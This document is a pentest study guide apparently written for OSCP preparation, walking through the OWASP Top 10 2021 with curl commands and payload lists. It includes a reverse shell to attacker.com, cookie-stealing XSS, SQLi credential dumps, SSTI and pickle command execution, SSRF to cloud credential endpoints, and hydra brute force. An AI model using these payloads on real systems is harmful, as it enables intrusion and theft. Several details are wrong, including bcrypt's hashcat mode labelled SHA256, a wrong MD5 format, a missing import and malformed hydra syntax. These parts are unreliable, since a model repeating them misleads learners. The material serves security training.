OWASP Top 10 2021 Overview
1. Introduction
The OWASP Top 10 is a standard awareness document for web application security, representing the most critical security risks to web applications. The 2021 edition is the current reference and is highly relevant for OSCP assessments.
OWASP Top 10 2021 Categories
| Rank | Category | Description |
|---|---|---|
| A01 | Broken Access Control | Restrictions on authenticated users are not properly enforced |
| A02 | Cryptographic Failures | Sensitive data is exposed through weak or missing encryption |
| A03 | Injection | Unsanitized data is passed to an interpreter as part of a command |
| A04 | Insecure Design | Missing or failed security controls in design |
| A05 | Security Misconfiguration | Incorrectly configured security settings |
| A06 | Vulnerable and Outdated Components | Using components with known vulnerabilities |
| A07 | Identification and Authentication Failures | Weaknesses in auth mechanisms |
| A08 | Software and Data Integrity Failures | Untrusted code, data, or CI/CD pipelines |
| A09 | Security Logging and Monitoring Failures | Insufficient logging and detection |
| A10 | Server-Side Request Forgery (SSRF) | Server makes requests to unintended locations |
2. A01: Broken Access Control
Broken access control occurs when restrictions on what authenticated users can access are not properly enforced.
2.1 IDOR (Insecure Direct Object References)
// Access own resource
GET /api/users/1001/orders HTTP/1.1
Authorization: Bearer user_token
// IDOR - access another user's resource
GET /api/users/1002/orders HTTP/1.1
Authorization: Bearer user_token
Testing:
# Enumerate user IDs
for i in $(seq 1001 1020); do
curl -s -H "Authorization: Bearer $TOKEN" \
"http://target.com/api/users/$i/orders" | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(f'User $i: {len(d)} orders')" \
2>/dev/null
done
2.2 Privilege Escalation
// Regular user accesses admin function
GET /api/admin/users HTTP/1.1
Authorization: Bearer regular_user_token
// Regular user modifies admin settings
PUT /api/admin/settings HTTP/1.1
Authorization: Bearer regular_user_token
Content-Type: application/json
{"maintenanceMode": false, "debugMode": true}
Testing:
# Test admin endpoints with regular user token
for endpoint in /admin /admin/users /admin/settings /api/admin/users /api/admin/config; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"http://target.com$endpoint")
echo "$STATUS http://target.com$endpoint"
done
2.3 Forced Browsing
# Access URLs directly without navigation
curl -s http://target.com/admin/dashboard
curl -s http://target.com/secret/page
curl -s http://target.com/internal/reports
curl -s http://target.com/debug/vars
2.4 CORS Misconfiguration
# Test reflective origin
curl -sI -H "Origin: https://evil.com" http://target.com/api/data | \
grep -i "access-control"
# Vulnerable response:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
2.5 Function-Level Access Control
# Test HTTP method restrictions
curl -s -X GET http://target.com/api/admin/delete-user/1 \
-H "Authorization: Bearer $TOKEN"
curl -s -X POST http://target.com/api/admin/delete-user \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"userId": 1}'
# Change HTTP method to bypass checks
curl -s -X PATCH http://target.com/api/admin/users/1 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role": "superadmin"}'
3. A02: Cryptographic Failures
Cryptographic failures occur when sensitive data is not properly protected.
3.1 Weak Encryption Algorithms
| Algorithm | Status | Issue |
|---|---|---|
| MD5 | BROKEN | Collision attacks, not for encryption |
| SHA1 | DEPRECATED | Collision attacks demonstrated |
| DES | BROKEN | 56-bit key, easily brute-forced |
| 3DES | DEPRECATED | Sweet32 birthday attack |
| RC4 | BROKEN | Multiple biases and attacks |
| AES-128/256 | SECURE | Current standard |
3.2 Hardcoded Encryption Keys
# Vulnerable: Hardcoded key
from Crypto.Cipher import AES
key = b'1234567890123456' # Hardcoded!
cipher = AES.new(key, AES.MODE_ECB)
Exploitation:
# Search for hardcoded keys in source
grep -r "key\s*=\s*['\"]" --include="*.py" --include="*.js" --include="*.php" .
grep -r "secret\s*=\s*['\"]" --include="*.py" --include="*.js" --include="*.php" .
grep -r "AES\|DES\|RSA" --include="*.py" --include="*.js" --include="*.php" . | \
grep -i "key\|secret\|password"
3.3 Data at Rest
# Check for unencrypted sensitive data in databases
mysql -u user -p -e "SELECT * FROM users" app_db
# Look for plaintext passwords, SSNs, credit cards
# Check for unencrypted files
find /var/www -name "*.sql" -o -name "*.csv" -o -name "*.json" | \
xargs grep -l "password\|ssn\|credit_card" 2>/dev/null
3.4 Data in Transit
# Check for HTTPS enforcement
curl -sI http://target.com/ | grep -i "strict-transport\|location"
# Check for mixed content
curl -s http://target.com/ | grep -oP 'https?://[^"'\''<>]+' | \
grep "^http://"
# Check TLS configuration
nmap --script ssl-enum-ciphers -p 443 target.com
testssl.sh https://target.com
3.5 Weak Password Storage
# Check password hashing method
# In database:
SELECT password FROM users LIMIT 5;
# Identify hashing:
# $2b$12$... = bcrypt (GOOD)
# $argon2id$v=19$... = Argon2 (GOOD)
# 5-character prefix + 22 chars = MD5 (BAD)
# 40 hex chars = SHA1 (BAD)
# Plain text = CRITICAL
# Crack weak hashes
hashcat -m 0 hashes.txt /opt/wordlists/rockyou.txt # MD5
hashcat -m 100 hashes.txt /opt/wordlists/rockyou.txt # SHA1
hashcat -m 3200 hashes.txt /opt/wordlists/rockyou.txt # SHA256
4. A03: Injection
Injection occurs when untrusted data is sent to an interpreter as part of a command or query.
4.1 SQL Injection (SQLi)
Boolean-Based Blind SQLi
GET /products?id=1 AND 1=1 HTTP/1.1 // Page loads (true)
GET /products?id=1 AND 1=0 HTTP/1.1 // Page differs (false)
Exploitation:
# Manual boolean-based extraction
# Extract database name length
curl -s "http://target.com/page?id=1 AND LENGTH(database())>5" --output true.html
curl -s "http://target.com/page?id=1 AND LENGTH(database())>10" --output false.html
diff true.html false.html # Different -> length between 6-10
# Extract database name character by character
for i in $(seq 1 8); do
for char in $(seq 48 57) $(seq 97 122); do
curl -s "http://target.com/page?id=1 AND ASCII(SUBSTRING(database(),$i,1))=$char" \
-o /dev/null -w "%{http_code} "
done
done
# Automated with sqlmap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
Union-Based SQLi
GET /products?id=1 UNION SELECT null,null,null HTTP/1.1
GET /products?id=1 UNION SELECT table_name,null,null FROM information_schema.tables HTTP/1.1
GET /products?id=1 UNION SELECT username,password,null FROM users HTTP/1.1
Time-Based Blind SQLi
GET /products?id=1 AND SLEEP(5) HTTP/1.1
GET /products?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) HTTP/1.1
Error-Based SQLi
GET /products?id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) HTTP/1.1
4.2 Command Injection
GET /tools/ping?ip=127.0.0.1;cat+/etc/passwd HTTP/1.1
GET /tools/ping?ip=127.0.0.1|cat+/etc/passwd HTTP/1.1
GET /tools/ping?ip=127.0.0.1`cat+/etc/passwd` HTTP/1.1
GET /tools/ping?ip=127.0.0.1$(cat+/etc/passwd) HTTP/1.1
Exploitation:
# Test command injection
curl -s "http://target.com/ping?ip=127.0.0.1;id"
curl -s "http://target.com/ping?ip=127.0.0.1|id"
curl -s "http://target.com/ping?ip=127.0.0.1\`id\`"
# Reverse shell
curl -s "http://target.com/ping?ip=127.0.0.1;bash+-c+'bash+-i+>&+/dev/tcp/attacker.com/4444+0>&1'"
# Automated with commix
commix -u "http://target.com/ping?ip=127.0.0.1"
4.3 Cross-Site Scripting (XSS)
Reflected XSS
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
GET /search?q=<img+src=x+onerror=alert(1)> HTTP/1.1
GET /search?q=<svg+onload=alert(1)> HTTP/1.1
Stored XSS
POST /comments HTTP/1.1
Content-Type: application/x-www-form-urlencoded
comment=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
DOM-Based XSS
// Vulnerable JavaScript
var q = document.URL.split("q=")[1];
document.getElementById("output").innerHTML = q;
// Exploit
http://target.com/page?q=<script>alert(1)</script>
XSS Payloads:
<!-- Basic payloads -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<!-- Cookie exfiltration -->
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
<!-- DOM manipulation -->
<script>document.body.innerHTML='<iframe src="http://attacker.com/phish"></iframe>'</script>
<!-- Event handler bypass -->
<details ontoggle=alert(1)>
<meter onmouseover=alert(1)>
<marquee onstart=alert(1)>
4.4 LDAP Injection
GET /search?user=*)(uid=*))(|(uid=* HTTP/1.1
GET /login?user=admin)(password=*))(|(admin= HTTP/1.1
4.5 XPath Injection
GET /search?id=1' or '1'='1 HTTP/1.1
GET /search?id=1' or '//text()'='' HTTP/1.1
4.6 Server-Side Template Injection (SSTI)
GET /profile?name={{7*7}} HTTP/1.1 // Jinja2: returns 49
GET /profile?name=${7*7} HTTP/1.1 // Java: returns 49
GET /profile?name=<%= 7*7 %> HTTP/1.1 // ERB: returns 49
GET /profile?name=${{7*7}} HTTP/1.1 // Twig: returns 49
Exploitation:
# Test for SSTI
curl -s "http://target.com/profile?name={{7*7}}"
curl -s "http://target.com/profile?name=${7*7}"
curl -s "http://target.com/profile?name=<%= 7*7 %>"
# Command execution via SSTI (Jinja2)
curl -s "http://target.com/profile?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
# Python SSTI chain
{{''.__class__.__mro__[1].__subclasses__()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('id').read()}}
4.7 NoSQL Injection
// MongoDB injection
{
"username": "admin",
"password": {"$ne": null}
}
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
// MongoDB aggregation injection
{
"$where": "this.username === 'admin'"
}
5. A04: Insecure Design
Insecure design refers to vulnerabilities caused by missing or ineffective security controls in the application design.
5.1 Missing Security Controls
- No rate limiting on login endpoints
- No account lockout after failed attempts
- No CAPTCHA on sensitive operations
- No input validation at design level
- No security requirements in design documentation
5.2 Business Logic Flaws
# Negative quantity
curl -X POST http://target.com/api/cart \
-H "Content-Type: application/json" \
-d '{"productId": 1, "quantity": -5}'
# Price manipulation
curl -X POST http://target.com/api/order \
-H "Content-Type: application/json" \
-d '{"productId": 1, "price": 0.01, "quantity": 1}'
# Skip payment step
curl -X POST http://target.com/api/order/complete \
-H "Content-Type: application/json" \
-d '{"orderId": 123, "paymentStatus": "completed"}'
# Race condition
for i in $(seq 1 50); do
curl -X POST http://target.com/api/transfer \
-H "Content-Type: application/json" \
-d '{"from": "myAccount", "to": "attackerAccount", "amount": 100}' &
done
wait
6. A05: Security Misconfiguration
6.1 Default Configurations
# Check for default pages
curl -s http://target.com/server-status
curl -s http://target.com/server-info
curl -s http://target.com/manager/html
curl -s http://target.com/web-console/
6.2 Verbose Error Messages
# Trigger errors
curl -s "http://target.com/api/users?id=INVALID"
curl -s "http://target.com/nonexistent"
6.3 Directory Listing
# Check for directory listing
curl -s http://target.com/backup/
curl -s http://target.com/uploads/
7. A06: Vulnerable and Outdated Components
7.1 Component Enumeration
# Check for known vulnerable components
whatweb http://target.com
nmap -sV --script http-enum -p 80,443 target.com
# Check JavaScript libraries
curl -s http://target.com/ | grep -oP 'src="[^"]*\.js"' | \
grep -oP '[0-9]+\.[0-9]+\.[0-9]+'
# Check for known CVEs
searchsploit wordpress 5.8
searchsploit jenkins 2.300
7.2 Dependency Checking
# npm audit
npm audit
# Python pip
pip audit
# OWASP Dependency-Check
dependency-check --scan /path/to/webapp/ --format HTML
8. A07: Identification and Authentication Failures
8.1 Weak Password Policies
# Test for weak password requirements
# Try: 123456, password, admin, letmein, 123456789
# Brute force with hydra
hydra -l admin -P /opt/wordlists/rockyou.txt \
ssh://target.com -t 64 -V
# Web form brute force
hydra -l admin -P /opt/wordlists/rockyou.txt \
https://target.com/login -t 64 -V \
-F "username=^USER&password=^PASS&login=Login" \
"HTTP_POST_FORM"
8.2 Session Management
# Check session cookie attributes
curl -sI http://target.com/ | grep -i "set-cookie"
# Look for:
# Secure flag missing
# HttpOnly flag missing
# SameSite attribute missing
# Predictable session IDs
# Session fixation
# 1. Get session ID before login
# 2. Login with that session
# 3. Session remains valid as authenticated user
8.3 JWT Vulnerabilities
# Check JWT algorithm
# Header: {"alg":"none","typ":"JWT"} -> Algorithm none attack
# Header: {"alg":"HS256","typ":"JWT"} -> Check for weak secret
# JWT none algorithm attack
# Change alg to "none" and remove signature
# Some servers accept unsigned tokens
# JWT brute force
hashcat -m 16500 jwt_token.txt /opt/wordlists/rockyou.txt
9. A08: Software and Data Integrity Failures
9.1 Insecure Deserialization
# Python pickle injection
import pickle, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Java deserialization
ysoserial CommonsCollections5 "id" | \
base64 | tr -d '\n'
9.2 CI/CD Pipeline Compromise
# Check for exposed CI/CD interfaces
curl -s http://target.com/jenkins/
curl -s http://target.com/gitlab/
curl -s http://target.com/drone/
# Check for exposed build artifacts
curl -s http://target.com/builds/
curl -s http://target.com/artifacts/
10. A09: Security Logging and Monitoring Failures
10.1 Missing Logs
# Check if actions are logged
# 1. Perform authentication attempts
# 2. Check if logs exist
# 3. Verify log integrity
# Test log injection
curl -s "http://target.com/search?q=test%0A%0A--%20Injected%20Log%20Entry"
10.2 Insufficient Monitoring
- No alerting for failed login attempts
- No detection of unusual activity
- No log retention policy
- Logs accessible without authentication
11. A10: Server-Side Request Forgery (SSRF)
SSRF occurs when a server fetches a remote resource without validating the user-supplied URL.
11.1 Basic SSRF
GET /proxy?url=http://internal-service.local:8080/ HTTP/1.1
GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
GET /webhook?url=http://127.0.0.1:6379/ INFO HTTP/1.1
11.2 SSRF Protocol Handlers
# file:// protocol
http://target.com/proxy?url=file:///etc/passwd
http://target.com/proxy?url=file:///etc/shadow
# gopher:// protocol
http://target.com/proxy?url=gopher://127.0.0.1:6379/_INFO
# dict:// protocol
http://target.com/proxy?url=dict://127.0.0.1:11211/
# ldap:// protocol
http://target.com/proxy?url=ldap://127.0.0.1:389/
# http:// with IPv6
http://target.com/proxy?url=http://[::ffff:127.0.0.1]:8080/
11.3 Cloud Metadata SSRF
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Azure
http://169.254.169.254/metadata/instance?api-version=2020-06-01
http://169.254.169.254/metadata/instance/compute?api-version=2020-06-01
# GCP
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
11.4 SSRF Bypass Techniques
# DNS rebinding
# Use a domain that resolves to different IPs
# URL encoding
http://target.com/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
# Double encoding
http://target.com/proxy?url=http%253A%252F%252F169.254.169.254
# IP format variations
http://target.com/proxy?url=http://2130706433/ # 127.0.0.1 in decimal
http://target.com/proxy?url=http://0x7f000001/ # 127.0.0.1 in hex
http://target.com/proxy?url=http://017700000001/ # 127.0.0.1 in octal
http://target.com/proxy?url=http://127.1/ # 127.0.0.1 shorthand
http://target.com/proxy?url=http://127.0.1/ # 127.0.0.1 shorthand
# IPv6
http://target.com/proxy?url=http://[::]/
http://target.com/proxy?url=http://[::1]/
http://target.com/proxy?url=http://[::ffff:127.0.0.1]/
# Using @ bypass
http://target.com/proxy?url=http://evil.com@127.0.0.1:8080/
11.5 Blind SSRF
# Out-of-band SSRF via attacker server
http://target.com/proxy?url=http://attacker.com:8000/
# SSRF to internal service, then exfiltrate
http://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# DNS exfiltration
http://target.com/proxy?url=http://data.attacker.com/
12. OWASP Testing Mapping
Burp Suite Tools per Category
| OWASP Category | Burp Tool | Technique |
|---|---|---|
| A01 Broken Access Control | Proxy, Repeater | Test IDOR, privilege escalation |
| A02 Cryptographic Failures | Comparer, Decoder | Analyze encryption, hashes |
| A03 Injection | Intruder, Repeater | SQLi, XSS, command injection |
| A04 Insecure Design | Proxy, Sequencer | Business logic testing |
| A05 Security Misconfiguration | Scanner, Site Map | Config audit |
| A06 Vulnerable Components | Scanner, Target | Version detection |
| A07 Auth Failures | Intruder, Repeater | Brute force, session testing |
| A08 Integrity Failures | Repeater, Decoder | Deserialization testing |
| A09 Logging Failures | Proxy, Scanner | Log analysis |
| A10 SSRF | Repeater, Intruder | URL manipulation |
Automated Testing Commands
# SQLi testing with sqlmap
sqlmap -u "http://target.com/page?id=1" --batch --risk=2 --level=3 --dbs
# XSS testing with dalfox
dalfox url "http://target.com/search?q=test"
# Command injection with commix
commix -u "http://target.com/ping?ip=127.0.0.1"
# SSRF testing with ssrf_detector
python3 ssrf_detector.py -u "http://target.com/proxy?url="
# Full scan with Burp
# 1. Configure proxy in browser
# 2. Crawl the application
# 3. Run active scan
# 4. Review issues
13. Key Takeaways
For OSCP Exams
- A01 (Broken Access Control) is #1 — Test IDOR on every parameterized endpoint.
- A03 (Injection) is most exploitable — SQLi, command injection, and XSS are exam favorites.
- A10 (SSRF) leads to pivot — Internal access via SSRF often leads to full compromise.
- A05 (Misconfiguration) is easy points — Default credentials, exposed interfaces, verbose errors.
- A02 (Crypto) enables lateral movement — Weak encryption reveals credentials for other systems.
- Always check for A06 — Outdated components with known CVEs provide quick wins.
- A07 (Auth) is brute-force territory — Weak passwords and session flaws are common.
- Document everything — OWASP categorization helps structure your report.
- Chain vulnerabilities — Information disclosure + IDOR + SSRF = full compromise.
- Burp Suite is your primary tool — Know every feature for every OWASP category.
Essential Payloads Quick Reference
# SQLi
' OR '1'='1
' UNION SELECT null,table_name FROM information_schema.tables--
1; EXEC xp_cmdshell('whoami')--
# Command Injection
; cat /etc/passwd
| id
`id`
$(whoami)
# XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# SSRF
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
# SSTI
{{7*7}}
${7*7}
<%= 7*7 %>
14. Summary
The OWASP Top 10 2021 provides a comprehensive framework for understanding the most critical web application security risks. For OSCP, the most relevant categories are A01 (Broken Access Control), A03 (Injection), A05 (Security Misconfiguration), and A10 (SSRF). These categories represent the vulnerabilities most commonly found in OSCP labs and are the most likely to lead to successful exploitation.
The key to OSCP success is not just knowing these categories but understanding how to test for each one systematically. Use Burp Suite as your primary tool, supplement with command-line tools like sqlmap, dalfox, and commix, and always document your findings with clear evidence of exploitation. Remember that vulnerabilities often chain together — information disclosure leads to IDOR, which leads to SSRF, which leads to internal network access and full compromise.